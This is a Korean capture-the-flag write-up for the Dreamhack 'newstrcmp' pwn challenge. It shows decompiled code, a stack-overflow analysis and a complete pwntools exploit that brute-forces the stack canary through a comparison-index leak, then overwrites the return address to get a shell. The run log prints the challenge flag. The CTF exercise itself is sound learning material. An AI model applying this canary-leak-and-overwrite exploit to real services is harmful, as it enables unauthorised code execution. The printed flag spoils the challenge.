Description
드림이가 strcmp
함수를 직접 구현하며 기능을 추가했어요.
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag
파일에 있습니다.
플래그의 형식은 DH{…} 입니다.`
checksec
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/newstrcmp$ checksec ./newstrcmp [*] '/home/ubuntu/Desktop/dreamhack-CTF/newstrcmp/newstrcmp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
main
int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+10h] [rbp-50h] unsigned int v5; // [rsp+14h] [rbp-4Ch] BYREF int v6; // [rsp+18h] [rbp-48h] char buf[2]; // [rsp+1Eh] [rbp-42h] BYREF char v8[16]; // [rsp+20h] [rbp-40h] BYREF __int64 v9; // [rsp+30h] [rbp-30h] __int64 v10; // [rsp+38h] [rbp-28h] char v11[24]; // [rsp+40h] [rbp-20h] BYREF unsigned __int64 v12; // [rsp+58h] [rbp-8h] v12 = __readfsqword(0x28u); v9 = 0LL; v10 = 0LL; v4 = 0; setup(argc, argv, envp); puts("Tester for newstrcmp"); while ( 1 ) { printf("Trial: %d\n", (unsigned int)++v4); printf("Exit? (y/n): "); read(0, buf, 2uLL); if ( buf[0] == 'y' ) break; printf("Input string s1: "); read(0, v8, 64uLL); printf("Input string s2: "); read(0, v11, 64uLL); newstrcmp(v8, v11, &v5); printf("Result of newstrcmp: "); if ( v6 ) { if ( v6 >= 0 ) printf("s1 is larger than s2, first differs at %d\n", v5); else printf("s1 is smaller than s2, first differs at %d\n", v5); } else { puts("Two strings are the same!"); } } return 0; }
Analysis
처음에 시도 횟수와 “Exit? (y/n): ” 문자열과 함께 while 반복문을 빠져나갈 것인지 물어본다.
만약 빠져나가지 않는다면, read 함수를 통해 s1과 s2 문자열로 입력받는데,
64바이트만큼 넘치게 입력받을 수 있어 버퍼 오버플로우가 발생한다.
입력받은 뒤에 newstrcmp 함수를 통해 문자열을 비교한다.
만약 문자열이 서로 맞지 않다면, 어디서부터 문자가 틀린지 인덱스 위치를 알려준다.
Solution
어디서부터 문자가 틀린지 인덱스 위치를 알려주기 때문에
스택 카나리 값을 유추할 수 있다.
만약 스택 카나리 중 하나의 바이트를 맞춘다면 인덱스 위치값이 증가하므로,
1~255까지 브루트포싱을 통해 스택 카나리 값을 획득하면 된다.
획득한 다음에, main’s RET을 쉘을 띄울 수 있는 flag 함수로 덮어써주면 된다.
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') import struct p = remote('host3.dreamhack.games', 10952) #p = process('./newstrcmp') payload = b'A'*24 + b'\x0a' canary = b'\x00' at_index = 25 p.sendlineafter(b'Exit? (y/n): ', 'n') i = 1 while i <= 255: append_what = struct.pack('B', i) p.sendlineafter(b'Input string s1: ', payload + append_what) p.sendlineafter(b'Input string s2: ', b'A'*24) cmp_result = p.recvline() cmp_result = cmp_result.split(b'at ')[1] cmp_result = cmp_result.split(b'\n')[0] #print(cmp_result) if cmp_result != str(at_index).encode('utf-8'): print(f"append_what: 0x{append_what.hex()}") p.sendlineafter(b'Exit? (y/n): ', 'n') canary = canary + append_what payload += append_what i=1 at_index += 1 continue p.sendlineafter(b'Exit? (y/n): ', 'n') i+=1 print(f"canary found!!! {hex(u64(canary))}") payload = b'A'*24 + canary + b'B'*8 + p64(0x40125b) p.sendafter(b'Input string s1: ', b'A') p.sendafter(b'Input string s2: ', payload) p.sendlineafter(b'Exit? (y/n): ', 'y') p.interactive()
Result
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/newstrcmp$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 10952: Done append_what: 0x06 append_what: 0xae append_what: 0x0b append_what: 0xc9 append_what: 0x3f append_what: 0xb9 append_what: 0xcd canary found!!! 0xcdb93fc90bae0600 [*] Switching to interactive mode $ ls flag newstrcmp $ cat flag DH{951297b0c04886c5b050b0085d705160900cfe0c99d613723d88a9cf7c620305}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 10952